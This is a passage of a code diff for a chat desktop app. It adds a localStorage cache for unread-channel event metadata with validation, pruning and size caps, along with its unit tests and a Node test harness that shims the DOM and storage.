+  withIsolatedStorage(() => {
+    // Missing key.
+    assert.equal(
+      readObservedUnreadFromStorage("pk1", "wss://relay.example.com"),
+      null,
+    );
+
+    // Corrupt JSON.
+    const key = observedUnreadStorageKey("pk1", "wss://relay.example.com");
+    window.localStorage.setItem(key, "not-json{{{");
+    assert.equal(
+      readObservedUnreadFromStorage("pk1", "wss://relay.example.com"),
+      null,
+    );
+
+    // eventsByChannel is an array (not an object).
+    window.localStorage.setItem(
+      key,
+      JSON.stringify({ updatedAt: Date.now(), eventsByChannel: [1, 2, 3] }),
+    );
+    assert.equal(
+      readObservedUnreadFromStorage("pk1", "wss://relay.example.com"),
+      null,
+    );
+  });
+});
+
+test("read discards malformed events and keeps valid ones", () => {
+  withIsolatedStorage(() => {
+    const key = observedUnreadStorageKey("pk1", "wss://relay.example.com");
+    const valid = makeObservedEvent({ id: "e-ok", createdAt: FRESH_AT });
+    window.localStorage.setItem(
+      key,
+      JSON.stringify({
+        updatedAt: Date.now(),
+        eventsByChannel: {
+          "ch-1": [
+            { createdAt: FRESH_AT }, // missing id
+            {
+              id: "e-inf",
+              createdAt: Infinity,
+              rootId: null,
+              highPriority: false,
+              countsTowardBadge: false,
+              countsTowardAppBadge: false,
+            },
+            valid,
+          ],
+        },
+      }),
+    );
+    const result = readObservedUnreadFromStorage(
+      "pk1",
+      "wss://relay.example.com",
+    );
+    const ch = result?.get("ch-1");
+    assert.ok(ch !== undefined);
+    assert.equal(ch.size, 1, "only the valid event should survive");
+    assert.ok(ch.has("e-ok"), "valid event must be kept");
+  });
+});
+
+// ── age pruning ───────────────────────────────────────────────────────────────
+
+test("write prunes stale events; all-stale write removes key; read prunes bypassed stale data", () => {
+  withIsolatedStorage(() => {
+    const pubkey = "pk1";
+    const relay = "wss://relay.example.com";
+    const key = observedUnreadStorageKey(pubkey, relay);
+
+    // write() prunes on encode path.
+    writeObservedUnreadToStorage(
+      pubkey,
+      relay,
+      makeEventsByChannel([
+        [
+          "ch-1",
+          [
+            makeObservedEvent({ id: "stale", createdAt: STALE_AT }),
+            makeObservedEvent({ id: "fresh", createdAt: FRESH_AT }),
+          ],
+        ],
+      ]),
+    );
+    const ch = readObservedUnreadFromStorage(pubkey, relay)?.get("ch-1");
+    assert.ok(!ch?.has("stale"), "stale event should be pruned on write");
+    assert.ok(ch?.has("fresh"), "fresh event should survive");
+
+    // All-stale write removes the key entirely.
+    writeObservedUnreadToStorage(
+      pubkey,
+      relay,
+      makeEventsByChannel([
+        ["ch-1", [makeObservedEvent({ id: "stale2", createdAt: STALE_AT })]],
+      ]),
+    );
+    assert.equal(
+      window.localStorage.getItem(key),
+      null,
+      "key should be absent when all events stale",
+    );
+
+    // read() prunes bypassed stale data (written directly to bypass encode pruning).
+    window.localStorage.setItem(
+      key,
+      JSON.stringify({
+        updatedAt: Date.now(),
+        eventsByChannel: {
+          "ch-r": [
+            makeObservedEvent({ id: "stale-r", createdAt: STALE_AT }),
+            makeObservedEvent({ id: "fresh-r", createdAt: FRESH_AT }),
+          ],
+        },
+      }),
+    );
+    const ch2 = readObservedUnreadFromStorage(pubkey, relay)?.get("ch-r");
+    assert.ok(!ch2?.has("stale-r"), "stale event should be pruned on read");
+    assert.ok(ch2?.has("fresh-r"), "fresh event should survive on read");
+  });
+});
+
+// ── caps ──────────────────────────────────────────────────────────────────────
+
+test("write caps per channel at 1000 and globally at 5000 keeping newest", () => {
+  withIsolatedStorage(() => {
+    const pubkey = "pk1";
+    const relay = "wss://relay.example.com";
+
+    // Per-channel: 1100 events → capped to 1000, oldest evicted.
+    const events = Array.from({ length: 1100 }, (_, i) =>
+      makeObservedEvent({ id: `e-${i}`, createdAt: FRESH_AT + i }),
+    );
+    writeObservedUnreadToStorage(
+      pubkey,
+      relay,
+      makeEventsByChannel([["ch-1", events]]),
+    );
+    const ch = readObservedUnreadFromStorage(pubkey, relay)?.get("ch-1");
+    assert.equal(ch?.size, 1000, "should be capped at 1000");
+    assert.ok(!ch?.has("e-0"), "oldest event should be evicted");
+    assert.ok(ch?.has("e-1099"), "newest event should survive");
+
+    // Global: 6 channels × 1000 = 6000 → trimmed to ≤ 5000.
+    const entries = Array.from({ length: 6 }, (_, c) => [
+      `channel-${c}`,
+      Array.from({ length: 1000 }, (_, i) =>
+        makeObservedEvent({
+          id: `ch${c}-e${i}`,
+          createdAt: FRESH_AT + c * 10000 + i,
+        }),
+      ),
+    ]);
+    writeObservedUnreadToStorage(pubkey, relay, makeEventsByChannel(entries));
+    const result = readObservedUnreadFromStorage(pubkey, relay);
+    let total = 0;
+    for (const eventsById of result.values()) total += eventsById.size;
+    assert.ok(total <= 5000, `total ${total} should be <= 5000`);
+  });
+});
+
+// ── clearObservedUnreadStorage ────────────────────────────────────────────────
+
+test("clearObservedUnreadStorage: removes scope bucket without affecting others", () => {
+  withIsolatedStorage(() => {
+    const relayA = "wss://relay-a.example.com";
+    const relayB = "wss://relay-b.example.com";
+    writeObservedUnreadToStorage(
+      "pk1",
+      relayA,
+      makeEventsByChannel([
+        ["ch-a", [makeObservedEvent({ id: "ea", createdAt: FRESH_AT })]],
+      ]),
+    );
+    writeObservedUnreadToStorage(
+      "pk1",
+      relayB,
+      makeEventsByChannel([
+        ["ch-b", [makeObservedEvent({ id: "eb", createdAt: FRESH_AT })]],
+      ]),
+    );
+
+    clearObservedUnreadStorage("pk1", relayA);
+
+    assert.equal(
+      readObservedUnreadFromStorage("pk1", relayA),
+      null,
+      "cleared bucket must be null",
+    );
+    assert.ok(
+      readObservedUnreadFromStorage("pk1", relayB)?.has("ch-b"),
+      "other scope must be unaffected",
+    );
+  });
+});
+
+// ── deriveLatestByChannel ─────────────────────────────────────────────────────
+
+test("deriveLatestByChannel: max createdAt per channel, empty map returns empty", () => {
+  const map = makeEventsByChannel([
+    [
+      "ch-1",
+      [
+        makeObservedEvent({ id: "e1", createdAt: 100 }),
+        makeObservedEvent({ id: "e2", createdAt: 200 }),
+        makeObservedEvent({ id: "e3", createdAt: 150 }),
+      ],
+    ],
+    ["ch-2", [makeObservedEvent({ id: "e4", createdAt: 50 })]],
+  ]);
+  const latest = deriveLatestByChannel(map);
+  assert.equal(latest.get("ch-1"), 200);
+  assert.equal(latest.get("ch-2"), 50);
+  assert.equal(deriveLatestByChannel(new Map()).size, 0);
+});
+
+// ── quota / write failure ─────────────────────────────────────────────────────
+
+test("writeObservedUnreadToStorage returns false when localStorage throws", () => {
+  const prevWindow = globalThis.window;
+  if (typeof globalThis.window === "undefined") {
+    globalThis.window = {};
+  }
+  const prevLs = globalThis.window?.localStorage;
+  globalThis.window.localStorage = {
+    get length() {
+      return 0;
+    },
+    key: () => null,
+    getItem: () => null,
+    setItem: () => {
+      throw new DOMException("QuotaExceededError");
+    },
+    removeItem: () => {},
+  };
+  try {
+    const map = makeEventsByChannel([
+      ["ch-1", [makeObservedEvent({ id: "e1", createdAt: FRESH_AT })]],
+    ]);
+    const result = writeObservedUnreadToStorage(
+      "pk1",
+      "wss://relay.example.com",
+      map,
+    );
+    // setLocalStorageItemWithRecovery retries after eviction; on persistent
+    // failure it returns false.  The exact return value depends on whether
+    // eviction succeeded, but the call must not throw.
+    assert.ok(
+      typeof result === "boolean",
+      "write failure must return boolean, not throw",
+    );
+  } finally {
+    if (prevWindow === undefined) {
+      delete globalThis.window;
+    } else {
+      globalThis.window.localStorage = prevLs;
+    }
+  }
+});
diff --git a/desktop/src/features/channels/observedUnreadStorage.ts b/desktop/src/features/channels/observedUnreadStorage.ts
new file mode 100644
index 0000000000..57264fb409
--- /dev/null
+++ b/desktop/src/features/channels/observedUnreadStorage.ts
@@ -0,0 +1,406 @@
+/**
+ * Disposable projection cache for the sidebar's observed-unread candidate set.
+ *
+ * The sidebar computes unread channel badges from two in-memory refs:
+ *   - observedUnreadEventsByChannelRef  (per-event metadata)
+ *   - latestByChannelRef               (max createdAt per channel, derived)
+ *
+ * Both refs are wiped on webview reload. The boot catch-up REQ can only fetch
+ * events *newer than* each channel's NIP-RS frontier, so thread replies that
+ * arrived before the frontier was advanced (the common case) are never
+ * re-discovered. This module persists the per-event map so reload restores
+ * candidate evidence that the relay query structurally cannot recover.
+ *
+ * Design constraints:
+ *  - Storage key: "buzz-observed-unread.v1:<normalizedRelayUrl>:<normalizedPubkey>"
+ *    (relay-scoped to prevent cross-community leakage, matching threadActivityStorage).
+ *  - Registered in PURE_CACHE_KEY_PREFIXES so the 2 MiB LRU eviction budget applies.
+ *  - Payload includes `updatedAt` (ms timestamp) for LRU ordering across scopes.
+ *  - Field-level validation: malformed or non-finite values are discarded silently.
+ *  - Age pruning: events older than READ_STATE_HORIZON_SECONDS (7 days) are dropped.
+ *  - Per-channel cap: newest CATCH_UP_LIMIT events per channel.
+ *  - Global cap: newest GLOBAL_OBSERVED_UNREAD_CAP events across all channels.
+ *  - Write failure is non-fatal; callers degrade to session-only behavior.
+ *  - NOT a source of truth: NIP-RS markers remain authoritative for read state.
+ *    The projection memo re-evaluates every retained event against current markers.
+ */
+
+import { normalizeRelayUrl } from "@/features/profile/lib/selfProfileStorage";
+import { READ_STATE_HORIZON_SECONDS } from "@/features/channels/readState/readStateFormat";
+import { setLocalStorageItemWithRecovery } from "@/shared/lib/localStorageQuota";
+import {
+  observedUnreadEventReadAt,
+  type ObservedUnreadEvent,
+} from "@/features/channels/unreadChannelCounts";
+
+export const OBSERVED_UNREAD_STORAGE_PREFIX = "buzz-observed-unread.v1";
+
+// Per-channel cap: matches CATCH_UP_LIMIT in useUnreadChannels.ts.
+const PER_CHANNEL_CAP = 1000;
+// Global cap across all channels in a scope bucket.
+const GLOBAL_OBSERVED_UNREAD_CAP = 5000;
+
+export type ObservedUnreadScope = {
+  pubkey: string;
+  relayUrl: string;
+};
+
+export function observedUnreadStorageKey(
+  pubkey: string,
+  relayUrl: string,
+): string {
+  return `${OBSERVED_UNREAD_STORAGE_PREFIX}:${normalizeRelayUrl(relayUrl)}:${pubkey.toLowerCase()}`;
+}
+
+type PersistedPayload = {
+  updatedAt: number;
+  eventsByChannel: Record<string, ObservedUnreadEvent[]>;
+};
+
+function isValidEvent(v: unknown): v is ObservedUnreadEvent {
+  if (typeof v !== "object" || v === null) return false;
+  const e = v as Record<string, unknown>;
+  return (
+    typeof e.id === "string" &&
+    typeof e.createdAt === "number" &&
+    Number.isFinite(e.createdAt) &&
+    (e.rootId === null || typeof e.rootId === "string") &&
+    typeof e.highPriority === "boolean" &&
+    typeof e.countsTowardBadge === "boolean" &&
+    typeof e.countsTowardAppBadge === "boolean"
+  );
+}
+
+function nowUnixSeconds(): number {
+  return Math.floor(Date.now() / 1_000);
+}
+
+/**
+ * Prune a per-channel event map in place:
+ *   1. Drop events older than READ_STATE_HORIZON_SECONDS.
+ *   2. Per-channel cap: keep newest PER_CHANNEL_CAP events.
+ *   3. Global cap: if total exceeds GLOBAL_OBSERVED_UNREAD_CAP, keep the
+ *      newest events across all channels.
+ *
+ * Returns the pruned map (same reference, mutated).
+ */
+function pruneEventsByChannel(
+  eventsByChannel: Map<string, Map<string, ObservedUnreadEvent>>,
+  nowSeconds: number,
+): Map<string, Map<string, ObservedUnreadEvent>> {
+  const cutoff = nowSeconds - READ_STATE_HORIZON_SECONDS;
+
+  // Age prune and per-channel cap.
+  for (const [channelId, eventsById] of eventsByChannel) {
+    for (const [id, event] of eventsById) {
+      if (event.createdAt <= cutoff) {
+        eventsById.delete(id);
+      }
+    }
+    if (eventsById.size === 0) {
+      eventsByChannel.delete(channelId);
+      continue;
+    }
+    if (eventsById.size > PER_CHANNEL_CAP) {
+      const sorted = [...eventsById.values()].sort(
+        (a, b) => a.createdAt - b.createdAt,
+      );
+      const toRemove = sorted.slice(0, eventsById.size - PER_CHANNEL_CAP);
+      for (const e of toRemove) {
+        eventsById.delete(e.id);
+      }
+    }
+  }
+
+  // Global cap: if total events exceed limit, evict oldest across channels.
+  let total = 0;
+  for (const eventsById of eventsByChannel.values()) {
+    total += eventsById.size;
+  }
+  if (total > GLOBAL_OBSERVED_UNREAD_CAP) {
+    // Collect all events with their channel id, sort by createdAt ascending.
+    const all: Array<{ channelId: string; event: ObservedUnreadEvent }> = [];
+    for (const [channelId, eventsById] of eventsByChannel) {
+      for (const event of eventsById.values()) {
+        all.push({ channelId, event });
+      }
+    }
+    all.sort((a, b) => a.event.createdAt - b.event.createdAt);
+    const excess = total - GLOBAL_OBSERVED_UNREAD_CAP;
+    for (let i = 0; i < excess; i++) {
+      const entry = all[i];
+      if (!entry) break;
+      const eventsById = eventsByChannel.get(entry.channelId);
+      if (eventsById) {
+        eventsById.delete(entry.event.id);
+        if (eventsById.size === 0) {
+          eventsByChannel.delete(entry.channelId);
+        }
+      }
+    }
+  }
+
+  return eventsByChannel;
+}
+
+/**
+ * Read and decode the persisted observed-unread map for a scope.
+ * Returns null when no data exists or decoding fails.
+ * Applies age pruning and caps before returning.
+ */
+export function readObservedUnreadFromStorage(
+  pubkey: string,
+  relayUrl: string,
+): Map<string, Map<string, ObservedUnreadEvent>> | null {
+  try {
+    const key = observedUnreadStorageKey(pubkey, relayUrl);
+    const raw = window.localStorage.getItem(key);
+    if (!raw) return null;
+
+    const parsed: unknown = JSON.parse(raw);
+    if (
+      typeof parsed !== "object" ||
+      parsed === null ||
+      Array.isArray(parsed)
+    ) {
+      return null;
+    }
+
+    const payload = parsed as Record<string, unknown>;
+    const eventsByChannelRaw = payload.eventsByChannel;
+    if (
+      typeof eventsByChannelRaw !== "object" ||
+      eventsByChannelRaw === null ||
+      Array.isArray(eventsByChannelRaw)
+    ) {
+      return null;
+    }
+
+    const result = new Map<string, Map<string, ObservedUnreadEvent>>();
+    for (const [channelId, events] of Object.entries(
+      eventsByChannelRaw as Record<string, unknown>,
+    )) {
+      if (!Array.isArray(events)) continue;
+      const eventsById = new Map<string, ObservedUnreadEvent>();
+      for (const e of events) {
+        if (isValidEvent(e)) {
+          eventsById.set(e.id, e);
+        }
+      }
+      if (eventsById.size > 0) {
+        result.set(channelId, eventsById);
+      }
+    }
+
+    if (result.size === 0) return null;
+
+    pruneEventsByChannel(result, nowUnixSeconds());
+    return result.size > 0 ? result : null;
+  } catch {
+    return null;
+  }
+}
+
+/**
+ * Serialize and write the observed-unread map for a scope to localStorage.
+ * Prunes before writing. Write failure is non-fatal.
+ * Returns true when the write succeeded.
+ */
+export function writeObservedUnreadToStorage(
+  pubkey: string,
+  relayUrl: string,
+  eventsByChannel: Map<string, Map<string, ObservedUnreadEvent>>,
+): boolean {
+  try {
+    // Prune on a shallow copy so we don't mutate the live refs.
+    const copy = new Map<string, Map<string, ObservedUnreadEvent>>();
+    for (const [channelId, eventsById] of eventsByChannel) {
+      copy.set(channelId, new Map(eventsById));
+    }
+    pruneEventsByChannel(copy, nowUnixSeconds());
+
+    if (copy.size === 0) {
+      // Nothing worth persisting — remove any stale entry.
+      try {
+        window.localStorage.removeItem(
+          observedUnreadStorageKey(pubkey, relayUrl),
+        );
+      } catch {
+        // Ignore.
+      }
+      return true;
+    }
+
+    const payload: PersistedPayload = {
+      updatedAt: Date.now(),
+      eventsByChannel: {},
+    };
+    for (const [channelId, eventsById] of copy) {
+      payload.eventsByChannel[channelId] = [...eventsById.values()];
+    }
+
+    const key = observedUnreadStorageKey(pubkey, relayUrl);
+    return setLocalStorageItemWithRecovery(key, JSON.stringify(payload));
+  } catch {
+    return false;
+  }
+}
+
+/**
+ * Delete the entire observed-unread storage bucket for a scope.
+ * Used on mark-all-read or when all channels are cleared.
+ */
+export function clearObservedUnreadStorage(
+  pubkey: string,
+  relayUrl: string,
+): void {
+  try {
+    window.localStorage.removeItem(observedUnreadStorageKey(pubkey, relayUrl));
+  } catch {
+    // Ignore.
+  }
+}
+
+/**
+ * Derive the latestByChannel map from the eventsByChannel map.
+ * This is used at hydration time to repopulate latestByChannelRef
+ * without storing a redundant aggregate.
+ */
+export function deriveLatestByChannel(
+  eventsByChannel: Map<string, Map<string, ObservedUnreadEvent>>,
+): Map<string, number> {
+  const result = new Map<string, number>();
+  for (const [channelId, eventsById] of eventsByChannel) {
+    let max = 0;
+    for (const event of eventsById.values()) {
+      if (event.createdAt > max) max = event.createdAt;
+    }
+    if (max > 0) result.set(channelId, max);
+  }
+  return result;
+}
+
+// ─── Persistence writer (scope-safe debounce + flush) ─────────────────────────
+//
+// Factory used by useUnreadChannels. Returns schedule/flush bound to the
+// provided refs. Kept here so the hook stays slim.
+
+export type ObservedUnreadRefs = {
+  eventsRef: { current: Map<string, Map<string, ObservedUnreadEvent>> };
+  scopeLoadedRef: { current: string };
+  timerRef: { current: ReturnType<typeof setTimeout> | null };
+};
+
+/**
+ * Decompose a scope key ("pubkey:normalizedRelayUrl") into its components.
+ * Returns null when the scope is empty or malformed.
+ */
+function decomposeScope(
+  scope: string,
+): { pubkey: string; relayUrl: string } | null {
+  if (!scope) return null;
+  const colonIdx = scope.indexOf(":");
+  if (colonIdx === -1) return null;
+  const pubkey = scope.slice(0, colonIdx);
+  const relayUrl = scope.slice(colonIdx + 1);
+  return pubkey && relayUrl ? { pubkey, relayUrl } : null;
+}
+
+/**
+ * Schedule a debounced 1-second write of the observed-unread refs for `scope`.
+ * A pending timer for any scope is replaced. The timer closure owns an
+ * immutable {scope, snapshot} captured at call time — a late A-scope timer
+ * can never read B's mutable refs or write under B's key.
+ */
+export function scheduleObservedUnreadWrite(
+  scope: string,
+  refs: ObservedUnreadRefs,
+): void {
+  if (!scope || refs.scopeLoadedRef.current !== scope) return;
+  if (refs.timerRef.current !== null) clearTimeout(refs.timerRef.current);
+
+  const parts = decomposeScope(scope);
+  if (!parts) return;
+  const { pubkey, relayUrl } = parts;
+
+  // Capture an immutable deep clone of the events map at this moment.
+  // The timer callback owns this snapshot and never touches the live refs.
+  const snapshot = new Map<string, Map<string, ObservedUnreadEvent>>();
+  for (const [channelId, eventsById] of refs.eventsRef.current) {
+    snapshot.set(channelId, new Map(eventsById));
+  }
+
+  refs.timerRef.current = setTimeout(() => {
+    refs.timerRef.current = null;
+    writeObservedUnreadToStorage(pubkey, relayUrl, snapshot);
+  }, 1_000);
+}
+
+/**
+ * Synchronously flush any pending debounce write and cancel the timer.
+ * Called on pagehide and before scope reset to close the Cmd+R timing gap.
+ */
+export function flushObservedUnreadWrite(refs: ObservedUnreadRefs): void {
+  if (refs.timerRef.current !== null) {
+    clearTimeout(refs.timerRef.current);
+    refs.timerRef.current = null;
+  }
+  const scope = refs.scopeLoadedRef.current;
+  const parts = decomposeScope(scope);
+  if (!parts) return;
+  writeObservedUnreadToStorage(
+    parts.pubkey,
+    parts.relayUrl,
+    refs.eventsRef.current,
+  );
+}
+
+/**
+ * Prune persisted observed events that are now covered by read markers.
+ * Uses the same observedUnreadEventReadAt() the projection memo uses so the
+ * two are always in sync. Rederives per-channel latest after pruning.
+ *
+ * Returns true when any event was removed (caller should persist + bump).
+ */
+export function pruneObservedUnreadByMarkers(
+  eventsByChannel: Map<string, Map<string, ObservedUnreadEvent>>,
+  latestByChannel: Map<string, number>,
+  getChannelReadAt: (channelId: string) => number | null,
+  getOwnTimestamp: (contextId: string) => number | null,
+): boolean {
+  let changed = false;
+  for (const [channelId, eventsById] of eventsByChannel) {
+    const channelReadAt = getChannelReadAt(channelId);
+    const toDelete: string[] = [];
+    for (const event of eventsById.values()) {
+      const readAt = observedUnreadEventReadAt(
+        event,
+        channelReadAt,
+        (rootId) => getOwnTimestamp(`thread:${rootId}`),
+        (messageId) => getOwnTimestamp(`msg:${messageId}`),
+      );
+      if (readAt !== null && event.createdAt <= readAt) toDelete.push(event.id);
+    }
+    for (const id of toDelete) {
+      eventsById.delete(id);
+      changed = true;
+    }
+    if (eventsById.size === 0) {
+      eventsByChannel.delete(channelId);
+    } else {
+      let max = 0;
+      for (const e of eventsById.values()) {
+        if (e.createdAt > max) max = e.createdAt;
+      }
+      if (max > 0) latestByChannel.set(channelId, max);
+      else latestByChannel.delete(channelId);
+    }
+  }
+  for (const channelId of latestByChannel.keys()) {
+    if (!eventsByChannel.has(channelId)) {
+      latestByChannel.delete(channelId);
+      changed = true;
+    }
+  }
+  return changed;
+}
diff --git a/desktop/src/features/channels/observedUnreadTestHarness.mjs b/desktop/src/features/channels/observedUnreadTestHarness.mjs
new file mode 100644
index 0000000000..da3cfa3e95
--- /dev/null
+++ b/desktop/src/features/channels/observedUnreadTestHarness.mjs
@@ -0,0 +1,373 @@
+/**
+ * Shared test infrastructure for observed-unread tests.
+ *
+ * Exported from a non-test file so the `src/**\/*.test.mjs` glob never picks
+ * this up as a test suite. Import into individual test files after installing
+ * the DOM shim (installDOMShim must run before any React imports).
+ */
+
+// ── DOM shim ──────────────────────────────────────────────────────────────────
+// Minimal DOM with full event-listener support so createRoot + pagehide flush
+// both work in a plain Node.js process.
+
+export function installDOMShim() {
+  class ET {
+    constructor() {
+      this._ls = {};
+    }
+    addEventListener(t, fn) {
+      this._ls[t] ??= [];
+      this._ls[t].push(fn);
+    }
+    removeEventListener(t, fn) {
+      this._ls[t] = (this._ls[t] ?? []).filter((f) => f !== fn);
+    }
+    dispatchEvent(e) {
+      for (const fn of this._ls[e.type] ?? []) fn(e);
+      return true;
+    }
+  }
+  class Node extends ET {
+    constructor(tag) {
+      super();
+      this.tagName = tag;
+      this.children = [];
+      this.childNodes = [];
+      this.style = {};
+      this.nodeType = 1;
+      this.parentNode = null;
+    }
+    get ownerDocument() {
+      return globalThis.document;
+    }
+    get firstChild() {
+      return this.children[0] ?? null;
+    }
+    get lastChild() {
+      return this.children[this.children.length - 1] ?? null;
+    }
+    get nextSibling() {
+      return null;
+    }
+    get nodeValue() {
+      return null;
+    }
+    appendChild(c) {
+      this.children.push(c);
+      this.childNodes.push(c);
+      c.parentNode = this;
+      return c;
+    }
+    removeChild(c) {
+      this.children = this.children.filter((x) => x !== c);
+      this.childNodes = this.childNodes.filter((x) => x !== c);
+      return c;
+    }
+    insertBefore(n, r) {
+      if (!r) return this.appendChild(n);
+      const i = this.children.indexOf(r);
+      if (i < 0) return this.appendChild(n);
+      this.children.splice(i, 0, n);
+      this.childNodes.splice(i, 0, n);
+      n.parentNode = this;
+      return n;
+    }
+    contains(n) {
+      return this === n || this.children.some((c) => c?.contains?.(n));
+    }
+  }
+  class Doc extends ET {
+    constructor() {
+      super();
+      this.nodeType = 9;
+    }
+    createElement(t) {
+      return new Node(t);
+    }
+    createTextNode(v) {
+      const n = new Node("#text");
+      n.nodeType = 3;
+      n.nodeValue = v;
+      return n;
+    }
+    createComment(v) {
+      const n = new Node("#comment");
+      n.nodeType = 8;
+      n.nodeValue = v;
+      return n;
+    }
+    get activeElement() {
+      return null;
+    }
+    contains(n) {
+      return n != null;
+    }
+  }
+
+  const windowET = new ET();
+  globalThis.document = new Doc();
+  globalThis.HTMLIFrameElement = Node;
+  globalThis.HTMLElement = Node;
+  globalThis.IS_REACT_ACT_ENVIRONMENT = true;
+  process.env.IS_REACT_ACT_ENVIRONMENT = "true";
+  if (typeof globalThis.window === "undefined") {
+    Object.defineProperty(globalThis, "window", {
+      value: globalThis,
+      configurable: true,
+    });
+  }
+  globalThis.addEventListener = windowET.addEventListener.bind(windowET);
+  globalThis.removeEventListener = windowET.removeEventListener.bind(windowET);
+  globalThis.dispatchEvent = windowET.dispatchEvent.bind(windowET);
+  globalThis.MutationObserver = class {
+    observe() {}
+    disconnect() {}
+    takeRecords() {
+      return [];
+    }
+  };
+  globalThis.requestAnimationFrame = (fn) => setTimeout(fn, 0);
+}
+
+// ── localStorage helpers ──────────────────────────────────────────────────────
+
+export function makeLocalStorage() {
+  const store = new Map();
+  return {
+    get length() {
+      return store.size;
+    },
+    key: (i) => [...store.keys()][i] ?? null,
+    getItem: (key) => store.get(key) ?? null,
+    setItem: (key, value) => store.set(key, value),
+    removeItem: (key) => store.delete(key),
+    clear: () => store.clear(),
+    _store: store,
+  };
+}
+
+/** Install a fresh isolated localStorage and return it. Configurable so each
+ *  test can call this at the top to start with a clean slate. */
+export function installFreshStorage() {
+  const ls = makeLocalStorage();
+  Object.defineProperty(globalThis, "localStorage", {
+    get: () => ls,
+    configurable: true,
+  });
+  return ls;
+}
+
+/** Swap in an isolated localStorage for the duration of a test, then restore.
+ *  Returns { ls, restore }. Use in try/finally blocks. */
+export function makeIsolatedStorage() {
+  const ls = makeLocalStorage();
+  const prevWindow = globalThis.window;
+  if (typeof globalThis.window === "undefined") {
+    globalThis.window = {};
+  }
+  const prevLs = globalThis.window.localStorage;
+  globalThis.window.localStorage = ls;
+  return {
+    ls,
+    restore: () => {
+      if (prevWindow === undefined) {
+        delete globalThis.window;
+      } else {
+        globalThis.window.localStorage = prevLs;
+      }
+    },
+  };
+}
+
+/**
+ * Run fn with an isolated localStorage instance, then restore automatically.
+ * Equivalent to makeIsolatedStorage() + try/finally restore() but less noisy.
+ */
+export function withIsolatedStorage(fn) {
+  const { restore } = makeIsolatedStorage();
+  try {
+    fn();
+  } finally {
+    restore();
+  }
+}
+
+// ── Event factories ───────────────────────────────────────────────────────────
+
+const _NOW_S = Math.floor(Date.now() / 1_000);
+
+/** Build a minimal observed-unread event object. All fields optional. */
+export function makeObservedEvent({
+  id = "event-1",
+  createdAt = _NOW_S,
+  rootId,
+  highPriority = false,
+  countsTowardBadge = true,
+  countsTowardAppBadge = false,
+} = {}) {
+  return {
+    id,
+    createdAt,
+    rootId: rootId ?? `root-${id}`,
+    highPriority,
+    countsTowardBadge,
+    countsTowardAppBadge,
+  };
+}
+
+/** Build a Map<channelId, Map<eventId, event>> from [[channelId, [events]]]. */
+export function makeEventsByChannel(entries) {
+  const map = new Map();
+  for (const [channelId, events] of entries) {
+    const byId = new Map();
+    for (const e of events) {
+      byId.set(e.id, e);
+    }
+    map.set(channelId, byId);
+  }
+  return map;
+}
+
+// ── Hook mount harnesses ──────────────────────────────────────────────────────
+// These are imported AFTER the caller runs installDOMShim() and before any
+// test body executes, so React/react-dom are resolved in the shimmed env.
+
+import React from "react";
+import { createRoot } from "react-dom/client";
+import { act } from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+
+import { useObservedUnreadPersistence } from "./useObservedUnreadPersistence.ts";
+import { useUnreadChannels } from "./useUnreadChannels.ts";
+import { writeObservedUnreadToStorage } from "./observedUnreadStorage.ts";
+
+/**
+ * Mount useObservedUnreadPersistence in a harness component.
+ * Returns { api, render, unmount }.
+ */
+export async function mountHook(props, refs) {
+  const apiRef = { current: null };
+
+  function Harness({
+    pubkey,
+    relay,
+    isReady,
+    readStateVersion,
+    getTs,
+    getOwn,
+    onPruned,
+  }) {
+    apiRef.current = useObservedUnreadPersistence(
+      pubkey,
+      relay,
+      isReady,
+      readStateVersion,
+      getTs,
+      getOwn,
+      refs.eventsRef,
+      refs.latestRef,
+      { onPruned: onPruned ?? (() => {}) },
+    );
+    return null;
+  }
+
+  const root = createRoot(document.createElement("div"));
+  const render = async (p) => {
+    await act(async () => {
+      root.render(React.createElement(Harness, p));
+    });
+  };
+  await render(props);
+
+  return {
+    get api() {
+      return apiRef.current;
+    },
+    render,
+    unmount: async () => {
+      await act(async () => root.unmount());
+    },
+  };
+}
+
+/**
+ * Pre-seed storage for pubkey+relay with one channel's events, then return
+ * an ISO timestamp equal to the seeded event's createdAt (for use as readAt).
+ */
+export function seedStorage(pubkey, relay, channelId, eventId = "evt-1") {
+  const inner = new Map();
+  const ts = Math.floor(Date.now() / 1_000);
+  inner.set(eventId, makeObservedEvent({ id: eventId, createdAt: ts }));
+  const events = new Map();
+  events.set(channelId, inner);
+  writeObservedUnreadToStorage(pubkey, relay, events);
+  return new Date(ts * 1_000).toISOString();
+}
+
+/**
+ * Mount useUnreadChannels inside a QueryClientProvider harness.
+ * Returns { markChannelRead, markAllChannelsRead, render, unmount, flushStorage }.
+ */
+export async function mountUnreadChannels({
+  pubkey,
+  relay = "wss://relay.example.com",
+}) {
+  const qc = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+
+  let capturedMarkChannelRead = null;
+  let capturedMarkAllChannelsRead = null;
+
+  function Inner({ pubkey: pk }) {
+    const result = useUnreadChannels([], null, {
+      pubkey: pk,
+      relayClient: undefined,
+      relayUrl: relay,
+    });
+    capturedMarkChannelRead = result.markChannelRead;
+    capturedMarkAllChannelsRead = result.markAllChannelsRead;
+    return null;
+  }
+
+  function Harness({ pubkey: pk }) {
+    return React.createElement(
+      QueryClientProvider,
+      { client: qc },
+      React.createElement(Inner, { pubkey: pk }),
+    );
+  }
+
+  const container = document.createElement("div");
+  const root = createRoot(container);
+
+  const render = async (pk) => {
+    await act(async () => {
+      root.render(React.createElement(Harness, { pubkey: pk }));
+    });
+  };
+
+  await render(pubkey);
+
+  return {
+    get markChannelRead() {
+      return capturedMarkChannelRead;
+    },
+    get markAllChannelsRead() {
+      return capturedMarkAllChannelsRead;
+    },
+    render,
+    unmount: async () => {
+      await act(async () => root.unmount());
+    },
+    flushStorage: () => {
+      dispatchEvent(
+        new (class extends Event {
+          constructor() {
+            super("pagehide");
+          }
+        })(),
+      );
+    },
+  };
+}
diff --git a/desktop/src/features/channels/ui/ChannelComposerActivityAccessory.tsx b/desktop/src/features/channels/ui/ChannelComposerActivityAccessory.tsx
index 216b205fcc..f99888f011 100644
--- a/desktop/src/features/channels/ui/ChannelComposerActivityAccessory.tsx
+++ b/desktop/src/features/channels/ui/ChannelComposerActivityAccessory.tsx
@@ -1,5 +1,7 @@
 import type { ComponentProps } from "react";
 
+import { CardMintComposerChip } from "@/features/agents/ui/CardMintComposerChip";
+import { useCardMintJobs } from "@/features/agents/cardMintStore";
 import { BotActivityComposerAction } from "@/features/channels/ui/BotActivityBar";
 import { ComposerActivityAccessory } from "@/features/messages/ui/ComposerActivityAccessory";
